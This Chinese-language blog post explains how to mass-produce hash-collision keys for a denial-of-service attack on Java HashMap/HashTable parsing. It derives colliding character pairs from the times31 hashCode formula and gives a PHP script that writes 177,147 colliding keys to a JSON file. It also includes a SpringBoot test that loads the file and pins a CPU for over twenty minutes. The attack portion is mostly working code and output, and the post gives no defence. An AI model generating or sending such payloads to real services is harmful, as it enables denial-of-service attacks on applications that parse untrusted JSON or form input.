Java Hash Collision之数据生产

上一篇文章一种高级的DoS攻击-Hash碰撞攻击我通过伪造Hash Collision数据实现了对Java的DoS攻击，下面说说如何生产大量的攻击数据。

HashTable是一种非常常用的数据结构。它存取速度快，结构简单，深得程序员喜爱。HashTable大致数据结构如下图：

Hash Function也叫哈希散列函数，通过散列函数我们能将各种类型的key转换为有限空间内的一个内存地址。常见的散列函数有MD5，SHA*。不过HashTable中基本不会用MD5，SHA*算法,因为这两类算法太耗时，基本所有的编程语言都会选择Times*类型算法，比如Times31,times33,times37。Java使用的Hash算法为Times31，PHP使用的Hash算法为times33……

如果正常的使用HashTable，HashTable会是一种完美的数据结构。不过总有一些时候HashTable会被不正常使用，例如被攻击。假设”layne”,”abbc”这两个key通过散列算法得到的内存地址一样，我们的程序就不知道到底要获取哪一个key的参数。针对这种情况我们引入了Bucket（一个链表结构）的概念，当遇到这种情况时，程序会将同一个内存地址对应的多个数据存入同一个Bucket链表，这样能解决数据获取不到的问题，但是会带来额外的运算。当数十万甚至百万的数据都打到同一个Bucket，对HashTable的影响是致命的，运算量将急剧增加，分分钟将CPU耗尽。

通过研究各种语言底层的HashTable散列算法就能生产对应的攻击数据，这种攻击很难防御。不过在我们知道攻击原理之后，还是能很好应对。

一. Java HashCode函数实现

通过Google，我们很轻松的就搜索到了Java HashTable实现的散列算法，在Java中有个叫HashCode()的方法，我们可以这样使用。

System.out.println(“it2048.cn”.hashCode());

HashCode()函数底层就是使用times31算法，至于为什么选择times31，官方说法是 『 31 * i == (i << 5) - i 』，运算起来更快。源代码如下：

/**
 * Returns a hash code for this string. The hash code for a
 * <code>String</code> object is computed as
 * <blockquote><pre>
 * s[0]*31^(n-1) + s[1]*31^(n-2) + ... + s[n-1]
 * </pre></blockquote>
 * using <code>int</code> arithmetic, where <code>s[i]</code> is the
 * <i>i</i>th character of the string, <code>n</code> is the length of
 * the string, and <code>^</code> indicates exponentiation.
 * (The hash value of the empty string is zero.)
 *
 * @return  a hash code value for this object.
 */
public int hashCode() {
    int h = hash;
    if (h == 0 && value.length > 0) {
        char val[] = value;

        for (int i = 0; i < value.length; i++) {
            h = 31 * h + val[i];
        }
        hash = h;
    }
    return h;
}

核心的计算的公式如下：

s[0]*31^(n-1) + s[1]*31^(n-2) + … + s[n-1]

通过推导计算，得到的计算公式如下：

F(n) = 31*F(n-1) + str[i]

使用PHP实现如下（这里只为加强说明哈希散列算法底层都是很简单的公式）：

function hashCode($str) {  
    $h = 0;
    $len = strlen($str);
    $t = 2147483648; //java int的最大值
    for ($i = 0; $i < $len; $i++) {
        $h = (($h << 5) - $h) + ord($str[$i]);
        if($h > $t) $h %= $t; //溢出取模
    }
    return $h;
}

二. 通过Java HashCode函数实现逆推

通过如下公式

F(n) = 31*F(n-1) + str[i]

我们可以进一步推导出如下方程式：

31*x + y = 31*(x+1) + y-31 = 31*(x+2) + y-62

我们很容易找到满足条件的3组ASCII字符，分别是：

at = 97*31 + 116 = 3123

bU = 98*31 + 85 = 3123

c6 = 99*31 + 54 = 3123

通过如上数据，理论上我们可以构造任何偶数位的字符串，比如：

atatatatatatatat (16位)
c6atatatatatatbU (16位)
atatatatatatbUat (16位)
c6c6c6c6c6c6bUat (16位)

如上16位字符串得到的hashCode都是一样，理论上我们可以得到 pow(3,16/2) = 6561 个字符串；22位长度的字符串可以得到pow(3,22/2) = 177147 个字符串，用来发起简单的攻击完全足够。接下来我们封装一个简单的函数来生成 177147 个攻击字符串；

三. 通过脚本批量产出碰撞数据

如上我们已经推算出碰撞数据的实现方程式，接下来我通过PHP快速的生成碰撞数据。这里最好不要使用Java来生成碰撞数据，因为操作不当就会变成攻击自己的脚本。

$arr_src = ['at','bU','c6']; 
$str_tmp = '';  //存储临时字符串
$arr_rtn = [];
$t = combs(11,$arr_src,$str_tmp,$arr_rtn);
/**
 * 组合算法
 **/
function combs($n,$arr,$str,&$arr_rtn) {
    if($n==1){
        for($j=0;$j<3;$j++){
            $arr_rtn[$str.$arr[$j]] = 0;
        }
    }else
    {
        for($j=0;$j<3;$j++){
            combs($n-1,$arr,$str.$arr[$j],$arr_rtn);
        }
    }
}
$json = json_encode($arr_rtn);
file_put_contents('log/times31.txt',$json);

最后我们生成了如下数据(截取了前面几条)：

{
	"atatatatatatatatatatat":0,
	"atatatatatatatatatatbU":0,
	"atatatatatatatatatatc6":0,
	"atatatatatatatatatbUat":0,
	"atatatatatatatatatbUbU":0,
	"atatatatatatatatatbUc6":0,
	"atatatatatatatatatc6at":0,
	"atatatatatatatatatc6bU":0,
	"atatatatatatatatatc6c6":0,
	"atatatatatatatatbUatat":0,
	"atatatatatatatatbUatbU":0,
	"atatatatatatatatbUatc6":0,
	"atatatatatatatatbUbUat":0,
	"atatatatatatatatbUbUbU":0,
	"atatatatatatatatbUbUc6":0,
	"atatatatatatatatbUc6at":0
}

四. 在Java中测试碰撞数据

通过程序我们生成了177147条碰撞数据，然后在SpringBoot中做个简单的测试，测试代码如下：

public class IndexController {

    @RequestMapping(value="/",method = RequestMethod.GET)
    public String index(){

        String jsonStr = "";
        try
        {
            FileReader fr = new FileReader("times31.txt");//需要读取的文件路径
            BufferedReader br = new BufferedReader(fr);
            jsonStr = br.readLine();
            br.close();//关闭BufferReader流
            fr.close();		//关闭文件流
        }catch(IOException e)//捕捉异常
        {
            System.out.println("指定文件不存在");//处理异常
        }

        Map<String, Object> map = new HashMap<String, Object>();

        map = JSONObject.fromObject(jsonStr);

        return "Hash Collision ~";
    }
}

测试结果，一个CPU被打到100%，持续了20多分钟。Mac Pro马上发烫，风扇开启。结束该java进程后电脑恢复。